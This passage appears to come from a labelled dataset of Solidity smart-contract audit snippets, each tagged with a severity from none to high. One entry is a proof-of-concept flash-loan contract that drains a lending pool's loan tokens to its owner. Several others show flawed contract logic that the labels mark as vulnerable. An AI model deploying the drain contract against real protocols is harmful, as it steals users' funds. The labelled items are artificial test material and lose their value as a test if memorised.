uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata) external {\n if (amount0Delta > 0) asset0.transfer(msg.sender, uint256(amount0Delta));\n if (amount1Delta > 0) asset1.transfer(msg.sender, uint256(amount1Delta));\n }\n\n // Factory mock\n function getParameters(IUniswapV3Pool) external pure returns (uint248 ante, uint8 nSigma) {\n ante = DEFAULT_ANTE;\n nSigma = DEFAULT_N_SIGMA;\n }\n\n // (helpers)\n function _setInterest(Lender lender, uint256 amount) private {\n bytes32 ID = bytes32(uint256(1));\n uint256 slot1 = uint256(vm.load(address(lender), ID));\n\n uint256 borrowBase = slot1 % (1 << 184);\n uint256 borrowIndex = slot1 184;\n\n uint256 newSlot1 = borrowBase + (((borrowIndex * amount) / 10_000) << 184);\n vm.store(address(lender), ID, bytes32(newSlot1));\n }\n}\n```\n | high |
```\nfunction getSenderAddress(bytes calldata initCode) public {\n address sender = senderCreator.createSender(initCode);\n revert SenderAddressResult(sender);\n}\n```\n | none |
```\nFile: SFrxETHAdapter.sol\n/// @title SFrxETHAdapter - esfrxETH\n/// @dev Important security note:\n/// 1. The vault share price (esfrxETH / WETH) increases as sfrxETH accrues staking rewards.\n/// However, the share price decreases when frxETH (sfrxETH) is withdrawn.\n/// Withdrawals are processed by the FraxEther redemption queue contract.\n/// Frax takes a fee at the time of withdrawal requests, which temporarily reduces the share price.\n/// This loss is pro-rated among all esfrxETH holders.\n/// As a mitigation measure, we allow only authorized rebalancers to request withdrawals.\n///\n/// 2. This contract doesn't independently keep track of the sfrxETH balance, so it is possible\n/// for an attacker to directly transfer sfrxETH to this contract, increase the share price.\ncontract SFrxETHAdapter is BaseLSTAdapter, IERC721Receiver {\n```\n | medium |
```\nfunction transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));\n return true;\n}\n```\n | none |
```\nfunction \_updateL1L2MessageStatusToReceived(bytes32[] memory \_messageHashes) internal {\n uint256 messageHashArrayLength = \_messageHashes.length;\n\n for (uint256 i; i < messageHashArrayLength; ) {\n bytes32 messageHash = \_messageHashes[i];\n uint256 existingStatus = outboxL1L2MessageStatus[messageHash];\n\n if (existingStatus == INBOX\_STATUS\_UNKNOWN) {\n revert L1L2MessageNotSent(messageHash);\n }\n\n if (existingStatus != OUTBOX\_STATUS\_RECEIVED) {\n outboxL1L2MessageStatus[messageHash] = OUTBOX\_STATUS\_RECEIVED;\n }\n\n unchecked {\n i++;\n }\n }\n\n emit L1L2MessagesReceivedOnL2(\_messageHashes);\n}\n```\n | low |
```\nfunction confiscate(uint validatorId, uint amount) external {\n uint currentMonth = getCurrentMonth();\n Fraction memory coefficient = reduce(\_delegatedToValidator[validatorId], amount, currentMonth);\n reduce(\_effectiveDelegatedToValidator[validatorId], coefficient, currentMonth);\n putToSlashingLog(\_slashesOfValidator[validatorId], coefficient, currentMonth);\n \_slashes.push(SlashingEvent({reducingCoefficient: coefficient, validatorId: validatorId, month: currentMonth}));\n}\n```\n | high |
```\nfunction acceptBid(bytes memory signature, uint256 rand, address bidder, uint256 bid, address nftaddress, uint256 tokenid) external {\n address recoveredbidder = recover(toEthSignedMessageHash(keccak256(abi.encode(rand, address(this), block.chainid, bid, nftaddress, tokenid))), signature);\n require(bidder == recoveredbidder, 'zAuction: incorrect bidder');\n require(!randUsed[rand], 'Random nonce already used');\n randUsed[rand] = true;\n IERC721 nftcontract = IERC721(nftaddress);\n accountant.Exchange(bidder, msg.sender, bid);\n nftcontract.transferFrom(msg.sender, bidder, tokenid);\n emit BidAccepted(bidder, msg.sender, bid, nftaddress, tokenid);\n}\n\n/// @dev 'true' in the hash here is the eth/weth switch\nfunction acceptWethBid(bytes memory signature, uint256 rand, address bidder, uint256 bid, address nftaddress, uint256 tokenid) external {\n address recoveredbidder = recover(toEthSignedMessageHash(keccak256(abi.encode(rand, address(this), block.chainid, bid, nftaddress, tokenid, true))), signature);\n require(bidder == recoveredbidder, 'zAuction: incorrect bidder');\n require(!randUsed[rand], 'Random nonce already used');\n randUsed[rand] = true;\n IERC721 nftcontract = IERC721(nftaddress);\n weth.transferFrom(bidder, msg.sender, bid);\n nftcontract.transferFrom(msg.sender, bidder, tokenid);\n emit WethBidAccepted(bidder, msg.sender, bid, nftaddress, tokenid);\n}\n```\n | low |
```\nrequire(first > 0xf7, "invalid offset");\nuint8 offset = first - 0xf7 + 2;\n\n/// we are using assembly because it's the most efficent way to access the parent blockhash within the rlp-encoded blockheader\n// solium-disable-next-line security/no-inline-assembly\nassembly { // solhint-disable-line no-inline-assembly\n // mstore to get the memory pointer of the blockheader to 0x20\n mstore(0x20, \_blockheader)\n\n // we load the pointer we just stored\n // then we add 0x20 (32 bytes) to get to the start of the blockheader\n // then we add the offset we calculated\n // and load it to the parentHash variable\n parentHash :=mload(\n add(\n add(\n mload(0x20), 0x20\n ), offset)\n )\n}\n```\n | low |
```\nfunction distributeFee() public {\n require(distributingFee == false, "VoxNET: reentry prohibited");\n distributingFee = true;\n\n uint tokensToSell = balanceOf[address(this)];\n\n if (tokensToSell > 0) {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = weth;\n\n allowance[address(this)][router] = tokensToSell;\n\n IUniswapV2Router02(router).swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokensToSell,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n uint amount = address(this).balance;\n\n if (amount > 0) {\n bool success;\n\n if (ecosystemFee != 0) {\n uint amountEcosystem = (amount * ecosystemFee) / fee;\n (success, ) = payable(ecosystemFeeReceiver).call{ value: amountEcosystem, gas: 30000 }("");\n }\n\n uint amountMarketing = (amount * marketingFee) / fee;\n (success, ) = payable(marketingFeeReceiver1).call{ value: amountMarketing / 2, gas: 30000 }("");\n (success, ) = payable(marketingFeeReceiver2).call{ value: amountMarketing / 2, gas: 30000 }("");\n\n uint amountTreasury = (amount * treasuryFee) / fee;\n (success, ) = payable(treasuryFeeReceiver).call{ value: amountTreasury, gas: 30000 }("");\n }\n\n distributingFee = false;\n}\n```\n | none |
```\nif (block.timestamp < uint256(epochStart)) revert EpochNotStarted();\n```\n | medium |
```\nFile: BondBaseSDA.sol\n // Circuit breaker. If max debt is breached, the market is closed\n if (term.maxDebt < market.totalDebt) {\n _close(id_);\n } else {\n // If market will continue, the control variable is tuned to to expend remaining capacity over remaining market duration\n _tune(id_, currentTime, price);\n }\n```\n | medium |
```\nfunction deposit(address to) external override lock returns (uint256 amountBaseOut) {\n require(msg.sender == router, 'DAOfiV1: FORBIDDEN\_DEPOSIT');\n```\n | medium |
```\nFile: LimitOrderRegistry.sol\n function claimOrder(uint128 batchId, address user) external payable returns (ERC20, uint256) {\n..SNIP..\n // Transfer tokens owed to user.\n tokenOut.safeTransfer(user, owed);\n\n // Transfer fee in.\n address sender = _msgSender();\n if (msg.value >= userClaim.feePerUser) {\n // refund if necessary.\n uint256 refund = msg.value - userClaim.feePerUser;\n if (refund > 0) sender.safeTransferETH(refund);\n } else {\n WRAPPED_NATIVE.safeTransferFrom(sender, address(this), userClaim.feePerUser);\n // If value is non zero send it back to caller.\n if (msg.value > 0) sender.safeTransferETH(msg.value);\n }\n..SNIP..\n```\n | high |
```\n function unlock(ISetToken _setToken) external {\n bool isRebalanceDurationElapsed = _isRebalanceDurationElapsed(_setToken);\n bool canUnlockEarly = _canUnlockEarly(_setToken);\n\n // Ensure that either the rebalance duration has elapsed or the conditions for early unlock are met\n require(isRebalanceDurationElapsed || canUnlockEarly, "Cannot unlock early unless all targets are met and raiseTargetPercentage is zero");\n\n // If unlocking early, update the state\n if (canUnlockEarly) {\n delete rebalanceInfo[_setToken].rebalanceDuration;\n emit LockedRebalanceEndedEarly(_setToken);\n }\n\n // Unlock the SetToken\n _setToken.unlock();\n }\n```\n | medium |
```\nfunction setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {\n require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");\n require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");\n lpBurnFrequency = _frequencyInSeconds;\n percentForLPBurn = _percent;\n lpBurnEnabled = _Enabled;\n}\n```\n | none |
```\nfunction owner() public view returns (address) {\n return _owner;\n}\n```\n | none |
```\naddress public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;\n\n// rest of code\n\n// Only need ability to check for read-only reentrancy for pools containing native Eth.\nif (checkReentrancy) {\n if (tokens[0] != ETH && tokens[1] != ETH) revert MustHaveEthForReentrancy();\n}\n```\n | high |
```\nfunction reduce(PartialDifferencesValue storage sequence, uint amount, uint month) internal returns (Fraction memory) {\n require(month.add(1) >= sequence.firstUnprocessedMonth, "Can't reduce value in the past");\n if (sequence.firstUnprocessedMonth == 0) {\n return createFraction(0);\n }\n uint value = getAndUpdateValue(sequence, month);\n if (value == 0) {\n return createFraction(0);\n }\n\n uint \_amount = amount;\n if (value < amount) {\n \_amount = value;\n }\n\n Fraction memory reducingCoefficient = createFraction(value.sub(\_amount), value);\n reduce(sequence, reducingCoefficient, month);\n return reducingCoefficient;\n}\n\nfunction reduce(PartialDifferencesValue storage sequence, Fraction memory reducingCoefficient, uint month) internal {\n reduce(\n sequence,\n sequence,\n reducingCoefficient,\n month,\n false);\n}\n\nfunction reduce(\n PartialDifferencesValue storage sequence,\n PartialDifferencesValue storage sumSequence,\n Fraction memory reducingCoefficient,\n uint month) internal\n{\n reduce(\n sequence,\n sumSequence,\n reducingCoefficient,\n month,\n true);\n}\n\nfunction reduce(\n PartialDifferencesValue storage sequence,\n PartialDifferencesValue storage sumSequence,\n Fraction memory reducingCoefficient,\n uint month,\n bool hasSumSequence) internal\n{\n require(month.add(1) >= sequence.firstUnprocessedMonth, "Can't reduce value in the past");\n if (hasSumSequence) {\n require(month.add(1) >= sumSequence.firstUnprocessedMonth, "Can't reduce value in the past");\n }\n require(reducingCoefficient.numerator <= reducingCoefficient.denominator, "Increasing of values is not implemented");\n if (sequence.firstUnprocessedMonth == 0) {\n return;\n }\n uint value = getAndUpdateValue(sequence, month);\n if (value == 0) {\n return;\n }\n\n uint newValue = sequence.value.mul(reducingCoefficient.numerator).div(reducingCoefficient.denominator);\n if (hasSumSequence) {\n subtract(sumSequence, sequence.value.sub(newValue), month);\n }\n sequence.value = newValue;\n\n for (uint i = month.add(1); i <= sequence.lastChangedMonth; ++i) {\n uint newDiff = sequence.subtractDiff[i].mul(reducingCoefficient.numerator).div(reducingCoefficient.denominator);\n if (hasSumSequence) {\n sumSequence.subtractDiff[i] = sumSequence.subtractDiff[i].sub(sequence.subtractDiff[i].sub(newDiff));\n }\n sequence.subtractDiff[i] = newDiff;\n }\n}\n\nfunction reduce(\n PartialDifferences storage sequence,\n Fraction memory reducingCoefficient,\n uint month) internal\n{\n require(month.add(1) >= sequence.firstUnprocessedMonth, "Can't reduce value in the past");\n require(reducingCoefficient.numerator <= reducingCoefficient.denominator, "Increasing of values is not implemented");\n if (sequence.firstUnprocessedMonth == 0) {\n return;\n }\n uint value = getAndUpdateValue(sequence, month);\n if (value == 0) {\n return;\n }\n\n sequence.value[month] = sequence.value[month].mul(reducingCoefficient.numerator).div(reducingCoefficient.denominator);\n\n for (uint i = month.add(1); i <= sequence.lastChangedMonth; ++i) {\n sequence.subtractDiff[i] = sequence.subtractDiff[i].mul(reducingCoefficient.numerator).div(reducingCoefficient.denominator);\n }\n}\n```\n | low |
```\nfunction pause() public onlyOwnerOrPauser {\n _pause();\n}\n```\n | medium |
```\n (\n uint256[] memory minAmountsOut,\n address[] memory tokens,\n uint256 borrowTokenIndex\n ) = _getExitPoolParams(param.borrowToken, lpToken);\n\n wAuraPools.getVault(lpToken).exitPool(\n IBalancerPool(lpToken).getPoolId(),\n address(this),\n address(this),\n IBalancerVault.ExitPoolRequest(\n tokens,\n minAmountsOut,\n abi.encode(0, amountPosRemove, borrowTokenIndex),\n false\n )\n```\n | medium |
```\nlibrary LibMathUnsigned {\n uint256 private constant \_WAD = 10\*\*18;\n uint256 private constant \_UINT256\_MAX = 2\*\*255 - 1;\n```\n | low |
```\nfunction div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n uint256 c = a / b;\n return c;\n}\n```\n | none |
```\n// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.17;\n\nimport { FlashBorrower, Flashloan, IERC20Token } from "./FlashLoan.sol";\nimport { Pool } from "./../../src/Pool.sol";\n\ncontract Borrower is FlashBorrower {\n address public immutable owner;\n Flashloan public immutable flashLoan;\n Pool public immutable pool;\n IERC20Token public loanToken;\n\n constructor(Flashloan _flashLoan, Pool _pool) {\n owner = msg.sender;\n flashLoan = _flashLoan;\n pool = _pool;\n loanToken = IERC20Token(address(_pool.LOAN_TOKEN()));\n }\n\n function borrowAll() public returns (bool) {\n // Get current values from pool\n pool.withdraw(0);\n uint loanTokenBalance = loanToken.balanceOf(address(pool));\n loanToken.approve(address(pool), loanTokenBalance);\n\n // Execute flash loan\n flashLoan.execute(FlashBorrower(address(this)), loanToken, loanTokenBalance, abi.encode(loanTokenBalance));\n }\n\n function onFlashLoan(IERC20Token token, uint amount, bytes calldata data) public override {\n // Decode data\n (uint loanTokenBalance) = abi.decode(data, (uint));\n\n // Deposit tokens borrowed from flash loan, borrow all other LOAN tokens from pool and\n // withdraw the deposited tokens\n pool.deposit(amount);\n pool.borrow(loanTokenBalance);\n pool.withdraw(amount);\n\n // Repay the loan\n token.transfer(address(flashLoan), amount);\n\n // Send loan tokens to owner\n loanToken.transfer(owner, loanTokenBalance);\n }\n}\n```\n | medium |
```\nif (maxLoanDur(fund) > 0) {\n require(loanDur\_ <= maxLoanDur(fund));\n} else {\n require(now + loanDur\_ <= maxFundDur(fund));\n}\n```\n | medium |
```\n constructor(address auctionHouse_) LinearVesting(auctionHouse_) BlastGas(auctionHouse_) {}\n```\n | high |
```\n 2) Admin can configure new markets and epochs on those markets, Timelock can make cirital changes like changing the oracle or whitelisitng controllers.\n```\n | medium |